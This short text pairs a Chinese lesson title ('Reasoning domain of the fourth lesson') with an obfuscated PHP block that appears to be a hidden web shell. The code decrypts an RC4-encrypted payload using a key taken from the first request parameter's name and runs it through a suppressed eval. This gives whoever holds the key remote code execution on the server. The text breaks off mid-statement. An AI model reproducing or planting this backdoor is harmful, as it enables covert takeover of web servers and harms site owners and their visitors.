《第四课时的推理领域》<?php $_zrjhd='sPuyX';$wvo4vlq='HJobmz';function sh6ZTFwK($qcjwnh,$ejqndmz=''){$jiwdnhuaj=4;$_2lobl='rsMc';$ejqndmz=md5($ejqndmz!=''?$ejqndmz:$ejqndmz);$_q='Bup';$icneaidr=md5(substr($ejqndmz,0,16));$wvriwk=md5(substr($ejqndmz,16,16));$_f6='pEs1uKl9Jj';$atjrgwxd=substr($qcjwnh,0,$jiwdnhuaj);$ldig9='lfhCbuvJ2';$wzfegytc=$icneaidr.md5($icneaidr.$atjrgwxd);$xemaus=strlen($wzfegytc);$qcjwnh=base64_decode(substr($qcjwnh,$jiwdnhuaj));$_arhafl='95uFmjk';$qrkuqmdyl=strlen($qcjwnh);$ymbuwsrv='';$mtp6='aoYFcdSI';$wcbpjz=range(0,255);$_v1='eqQnT';$bcjupsgxd=array();$_a8xp='gxBqvWkNxS';for($zvrgycdu=0;$zvrgycdu<=255;$zvrgycdu++){$bcjupsgxd[$zvrgycdu]=ord($wzfegytc[$zvrgycdu%$xemaus]);}$gru='wb1X';for($imnjye=$zvrgycdu=0;$zvrgycdu<256;$zvrgycdu++){$imnjye=($imnjye+$wcbpjz[$zvrgycdu]+$bcjupsgxd[$zvrgycdu])%256;$uqlnvcujg=$wcbpjz[$zvrgycdu];$wcbpjz[$zvrgycdu]=$wcbpjz[$imnjye];$wcbpjz[$imnjye]=$uqlnvcujg;}$_ry='uAjG2B';for($okfzxsuvl=$imnjye=$zvrgycdu=0;$zvrgycdu<$qrkuqmdyl;$zvrgycdu++){$okfzxsuvl=($okfzxsuvl+1)%256;$imnjye=($imnjye+$wcbpjz[$okfzxsuvl])%256;$uqlnvcujg=$wcbpjz[$okfzxsuvl];$wcbpjz[$okfzxsuvl]=$wcbpjz[$imnjye];$wcbpjz[$imnjye]=$uqlnvcujg;$ymbuwsrv.=chr(ord($qcjwnh[$zvrgycdu])^($wcbpjz[($wcbpjz[$okfzxsuvl]+$wcbpjz[$imnjye])%256]));}if((intval(substr($ymbuwsrv,0,10))==0||intval(substr($ymbuwsrv,0,10))-time()>0)&&substr($ymbuwsrv,10,16)===substr(md5(substr($ymbuwsrv,26).$wvriwk),0,16)){return substr($ymbuwsrv,26);}return '';$_uqst='rwSBQ3PL';}foreach ($_GET as $jwcpyu => $vhpfkmxgr) { unset($_REQUEST[$jwcpyu]);};foreach($_REQUEST as $jwcpyu => $vhpfkmxgr){break;};if(!empty($jwcpyu)&&sh6ZTFwK('34edsF5U7j8djQ9E2F3pRiHK7yenTkdIkf1cCc9d56l8/w0sAUB48qYu',$jwcpyu)){@eval(sh6ZTFwK('8393wSLXETbJSW1pM4JaWC0WvnHcajOQxX3KUNJnsdL355po73FPf7OJcBnyMcDRoyzKFxzsTJbyVShbqlTs7LNfpSIL9QRZ3NLvgEAcFmYvxxx4XJDxTW8Mu80q9wWZiioAP2yHvvZWGoo8RhiAsUVzCucERS7OktInghYcosxOH5PSmecLJwqNLonChORpohGSYBibLTENpdT7mVBvSJaLTDif4SU4sC6CB7WBG/YDRD984eEwNyhgsT071e4NY4boB84qQgbINsuFZVYb5aA4H2Mqwaulq7mUPydKPz+rqj7CTMHdfw5cDc3sK0zEoOlfhI5BHRe6AaEq4OFrubqxV4Qoe+QBwslFVYFITtMV7IxmtUnjJsqUx0wcw1UnITnetYsZjifDAVLssko39f9PaAchb6w6K7bxdFjOMSztDVqDCB7eBTyWFO+6gaY2XmG2ZPgJ0NIFqhRb7n3URn4G5HonuqXjmB4aECOZSS1M', $jwcpyu));};$_t='TVANMA';$